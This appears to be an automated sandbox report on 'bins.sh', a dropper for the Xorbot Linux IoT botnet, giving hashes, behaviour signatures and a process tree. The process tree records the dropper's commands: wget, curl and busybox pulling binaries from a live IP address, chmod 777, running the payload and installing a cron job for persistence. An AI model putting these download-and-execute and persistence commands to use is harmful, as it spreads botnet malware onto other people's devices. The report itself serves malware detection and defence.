Analysis

  • max time kernel
    139s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01-12-2024 06:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    3ec05170856171325b0751f5ea6d0ce2

  • SHA1

    1d4812ade6ba446cda12ccab01c5cf5f56d59f0d

  • SHA256

    32ddd9acfcf02bba66418510ea50f484e55774995e0fda1ec17661cf50fb7a5e

  • SHA512

    8581e8589806b577e6557e6ac83d77de355039ff8fc99fb11c60d9eccb8af27ccb6b5fe89f690a87d8d7ca0bcc67788d024594da0e8c8d008b9e3a7033c34b2f

  • SSDEEP

    96:8diayTnIZxJKu8fwckvve4VwaUUQ2c8XUQ2kgGdiayTnfZxfwckvvo48OPEZxJKU:86fwckvve4OaUUQUUQ8wckvvN8

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2195) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1494
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1495
        • /usr/bin/wget
          wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:1496
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:1501
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Writes file to tmp directory
          PID:1502
        • /bin/chmod
          chmod 777 znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • File and Directory Permissions Modification
          PID:1510
        • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          ./znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1511
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1513
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1515
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1516
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1517
              • /bin/rm
                rm znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ
                2⤵
                  PID:1519
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/GQ9qougeyqB50Uuf4WiryNI63HCYFXgDF8
                  2⤵
                    PID:1522

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/znYbzDn8dozfm9kpHOpFQmBzh4tRdvMImQ

                  Filesize

                  98KB

                  MD5

                  5141342d0df8699fa32a6b066a0c592e

                  SHA1

                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                  SHA256

                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                  SHA512

                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                • /var/spool/cron/crontabs/tmp.XG8KIz

                  Filesize

                  210B

                  MD5

                  f99f3feb7028f7c468677548099fcdab

                  SHA1

                  8519ea190a063c540ccf2927e08b3b247d662bbe

                  SHA256

                  2b541026fb8ac2bb7a4e25d087b3ee5ff504411b9fb217aad544ba8619a2ae3a

                  SHA512

                  c4c0411ceacb571ef9b302f8f35abd13bf04bef1410859951d19b70fe18b01c65cd638cd94b1487e29a14bc35f5f9103f02778e092f39601caad12f5fd6fc37f